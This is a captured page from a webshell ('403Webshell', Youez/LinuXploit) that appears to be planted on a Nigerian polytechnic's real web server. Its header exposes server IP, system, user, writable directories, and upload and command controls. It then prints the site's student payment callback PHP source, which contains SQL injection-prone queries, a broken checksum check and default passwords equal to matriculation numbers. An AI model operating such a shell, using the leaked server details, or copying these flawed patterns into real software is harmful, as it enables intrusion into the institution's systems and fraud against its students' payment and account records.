403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.67
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_admin_student/reQuery.php
<?php
session_start();
//success+trans_amount + merchant_no + merchant_trans_id + response_url + secret_key

//echo $success = $_POST['SUCCESS'];
//echo $etztransid = $_POST['TRANSACTION_REF'];//TRANSACTION_ID
//$transid = $_POST['TRANSACTION_ID'];
//echo $terminal_id = $_POST['TERMINAL_ID'];
//$final_checksum = $_POST['FINAL_CHECKSUM'];
//$response_url = $_POST['RESPONSE_URL'];
//$new_checksum = $_POST['CHECKSUM'];
//$trans_num = $_POST['TRANS_NUM'];
//$reference = $_POST['DESCRIPTION'];
//$secret_key = $_POST['SECRET_KEY'];
//$secret_key = "DEMO_KEY";
// $amount = $_POST['AMOUNT'];
//$response_code = $_POST['SUCCESS'];

$successs = $_GET['SUCCESS'];

 $etztransids = $_GET['TRANSACTION_REF'];//TRANSACTION_ID
	$transids = $_GET['TRANSACTION_ID'];
	$terminal_ids = $_GET['TERMINAL_ID'];
		$response_urls = $_GET['RESPONSE_URL'];
        $final_checksums = $_GET['FINAL_CHECKSUM'];
        $new_checksums = $_GET['CHECKSUM'];
        $trans_nums = $_GET['TRANS_NUM'];
        $references = $_GET['DESCRIPTION'];
		$secret_keys = $_GET['SECRET_KEY'];
        $amounts = $_GET['AMOUNT'];
        $response_codes = $_GET['SUCCESS'];
//die($response_codes);

//        $msg = $_POST['msg'];
$msg = "";
$status_desc = "";
$matNo=$_SESSION['matNo'];
$transDate=time();
$finalcheck=hash("sha256" ,$success.$amount.$terminal_id.$transid.$secret_key);
if(isset($_POST['FINAL_CHECKSUM']) == $finalcheck){

}
else {
    echo '<p class="error">Wrong FinalCheckSum.</p>';
    echo '<p class="error">$finalcheck</p>';
    echo '<p class="error">$final_checksum</p>';

}
$transApproved="False";
switch ($response_code) {
    case "0":
        $status_desc = "Transaction successful. Payment accepted";
        $transApproved="True";
        break;
    case "-1":
        $status_desc = "Transaction timeout or invalid parameters or unsuccessful transaction in the case of Query History";
        break;
    case "1":
        $status_desc = "Destination Card Not Found";
        break;
    case "2":
        $status_desc = "Card Number Not Found";
        break;
    case "3":
        $status_desc = "Invalid Card PIN";
        break;
    case "4":
        $status_desc = "Card Expiration Incorrect";
        break;
    case "5":
        $status_desc = "Insufficient balance";
        break;
    case "6":
        $status_desc = "Spending Limit Exceeded";
        break;
    case "7":
        $status_desc = "Internal System Error Occurred, please contact the service provider";
        break;
    case "8":
        $status_desc = "Financial Institution cannot authorize transaction, Please try later";
        break;
    case "9":
        $status_desc = "PIN tries Exceeded";
        break;
    case "10":
        $status_desc = "Card has been locked";
        break;
    case "11":
        $status_desc = "Invalid Terminal Id";
        break;
    case "12":
        $status_desc = "Payment Timeout";
        break;
    case "13":
        $status_desc = "Destination card has been locked";
        break;
    case "14":
        $status_desc = "Card has expired";
        break;
    case "15":
        $status_desc = "PIN change required";
        break;
    case "16":
        $status_desc = "Invalid Amount";
        break;
    case "17":
        $status_desc = "Card has been disabled";
        break;
    case "18":
        $status_desc = "Unable to credit this account immediately, credit will be done later";
        break;
    case "19":
        $status_desc = "Transaction not permitted on terminal";
        break;
    case "20":
        $status_desc = "Exceeds withdrawal frequency";
        break;
    case "21":
        $status_desc = "Destination Card has expired";
        break;
    case "22":
        $status_desc = "Destination Card Disabled";
        break;
    case "23":
        $status_desc = "Source Card Disabled";
        break;
    case "24":
        $status_desc = "Invalid Bank Account";
        break;
    case "25":
        $status_desc = "Insufficient Balance";
        break;
    case "26":
        $status_desc = "CHECKSUM/FINAL_CHECKSUM error";
        break;
    default:
        $status_desc = "Your Transaction was not Successful. No amount was debited from your account.";
        break;
}
if ($msg == "") {
    $msg = $status_desc;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
    <title></title>
</head>
<body>
<table width="50%" align="center" cellpadding="3" cellspacing="5">
    <tr>
        <td align="center"><img src="../images/edebanner2.png" width="731" height="95"></td>
    </tr>
    <tr>
        <td><fieldset><legend>Payment Detail</legend>
                <div style="text-align: center;">    <form id="form1">
                        <div>
                            <table class="table">
                                <tr class="active">
                                    <td align="left">
                                        <b>Transaction ID:</b></td>
                                    <td><?php echo $transid;?></td>
                                </tr>
                                <!--						                        <tr class="active">-->
                                <!--                            <td >-->
                                <!--                               GET  Transaction ID:</td>-->
                                <!--                            <td>--><?php //echo $transids;?><!--</td>-->
                                <!--                        </tr>-->
                                <tr class="info">
                                    <td align="left">
                                        <b>Transaction Status:</b></td>
                                    <td><?php echo $status_desc; ?></td>
                                </tr>
                                <!--						 <tr class="info">-->
                                <!--                            <td >-->
                                <!--                                GET Transaction Status:</td>-->
                                <!--                            <td>--><?php //echo $status_descs; ?><!--</td>-->
                                <!--                        </tr>-->
                                <tr class="active">
                                    <td align="left">
                                        <b>Payment Description:</b></td>
                                    <td><?php echo $reference; ?></td>
                                </tr>
                                <!--						                       <tr class="active">-->
                                <!--                            <td >-->
                                <!--                                GET Payment Description:</td>-->
                                <!--                            <td>--><?php //echo $references; ?><!--</td>-->
                                <!--                        </tr>-->
                                <tr class="info">
                                    <td align="left">
                                        <b> Amount:</b></td>
                                    <td><?php echo $amount; ?></td>
                                </tr>
                                <!--						 <tr class="info">-->
                                <!--                            <td >-->
                                <!--                                GET Amount:</td>-->
                                <!--                            <td>--><?php //echo $amount; ?><!--</td>-->
                                <!--                        </tr>-->
                            </table>

                            <?php
                            require_once('../connect.php');
                            $db=db_connect();
                            require('../filetoU/logFile.php');
                            $orderID=$transid;
                            $logD='Payment. OrderID: '.$orderID.' PaymentType: '.$reference;
                            logDetail($matNo,$logD);
                            $ade="UPDATE `fedpoly`.`ace_remitaorder` SET `remitaRRR` = '$trans_num',`transDate` = CURRENT_TIMESTAMP,`transStatus` = '$response_code',`transDetail` = '$msg',`transApproved` ='$transApproved' WHERE `ace_remitaorder`.`orderID` ='$orderID'";
                            $db->query($ade);

                            if (($reference == 'School Fees') and ($response_code == 0)) {

//                if ($response_code==0){
                                echo '<a href="acceptancePrint.php" target="_blank">Click to Print School Receipt</a>';

                                echo '<br><a href="admin.php" target="_blank">Continue Registration</a>';

                                //===============================================*****************************
                                echo $mSQL = "select * from ace_realdata where formNo='$matNo' and matNo='$matNo' and fresher=4";
                                $mResult = $db->query($mSQL);
                                echo $mNum = $mResult->rowCount();

                                if ($mNum > 0) {
                                    $matNoOld = $_SESSION['formNo'];
                                    //generate prefix and sufix
                                    $deptID = $_SESSION['deptID'];
                                    $levelID = $_SESSION['levelID'];
                                    //	echo $_SESSION['course'] ;
                                    $prefixQ = $db->query("select * from dept where sn='$deptID'");
                                    $prefixQ_fetch = $prefixQ->fetch(PDO::FETCH_BOTH);
                                    $numPrefix = $prefixQ->rowCount();
                                    $courseName = $prefixQ_fetch['dOption'];
                                    if ($numPrefix > 0) {
                                        if ($levelID == '1') {
                                            $prefix = $prefixQ_fetch['nd'];
                                            $sufix = '';
                                            $levelCode = '01';
                                        } elseif ($levelID == '3') {
                                            $prefix = $prefixQ_fetch['hnd'];
                                            $sufix = '';
                                            $levelCode = '01';
                                        } elseif ($levelID == '5') {
                                            $prefix = $prefixQ_fetch['nd'];
                                            $sufix = 'PT';
                                            $levelCode = '03';
                                        } elseif ($levelID == '8') {
                                            $prefix = $prefixQ_fetch['nd'];
                                            $sufix = 'DPT';
                                            $levelCode = '02';
                                        } elseif ($levelID == '10') {
                                            $prefix = $prefixQ_fetch['nd'];
                                            $sufix = '';
                                            $levelCode = '01';
                                        } elseif ($levelID == '11') {
                                            $prefix = $prefixQ_fetch['hnd'];
                                            $sufix = '';
                                            $levelCode = '02';
                                        }
                                    }
                                    //End of prefix and sufix
                                    //generate serial Number
                                    // echo $courseName;
                                    //$matSQL="select * from realdata where fresher='20' and course='$courseName' and levelID='$levelID' ";
                                    $matSQL = "select * from ace_realdata where fresher='40' ";
                                    $matResult = $db->query($matSQL);
                                    echo $matNum = $matResult->rowCount();
                                    if ($matNum > 0) {
                                        $realNo = $matNum + 1;
                                        if ($realNo < 10) {
                                            $serialNo = '2018' . $levelCode . '0000' . $realNo;
                                        } elseif ($realNo < 100) {
                                            $serialNo = '2018' . $levelCode . '000' . $realNo;
                                        } elseif ($realNo < 1000) {
                                            $serialNo = '2018' . $levelCode . '00' . $realNo;
                                        } elseif ($realNo < 10000) {
                                            $serialNo = '2018' . $levelCode . '0' . $realNo;
                                        } else {
                                            $serialNo = '2018' . $levelCode . $realNo;
                                        }
                                    } else {
                                        $serialNo = '2018' . $levelCode . '00001';
                                    }
                                    $newMatNo = 'ACE' . $prefix . $serialNo;
                                    $real="UPDATE `fedpoly`.`ace_realdata` SET `matNo` = '$newMatNo',`usernamea` = '$newMatNo',`passworda` = '$newMatNo',`fresher` = '40' WHERE `ace_realdata`.`formNo` ='$matNo'";
                                    $db->query($real);
                                    $real2="UPDATE `fedpoly`.`ace_remitaorder` SET `regNo` = '$newMatNo' WHERE `ace_remitaorder`.`orderID` ='$orderID'";
                                    $db->query($real2);

                                    $_SESSION['matNo'] = $newMatNo;

                                    copy('../passportForm/' . $matNo . '.jpg', 'passport/Reg' . $newMatNo . '.jpg');
                                    echo '<font color="#FF0000"><h2><br> Note: Your Username and Password is now ' . $newMatNo . '</h2></font>';
                                }
                            }

                            //

                            //===============================================*****************************



                            ?>
                        </div>
                    </form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit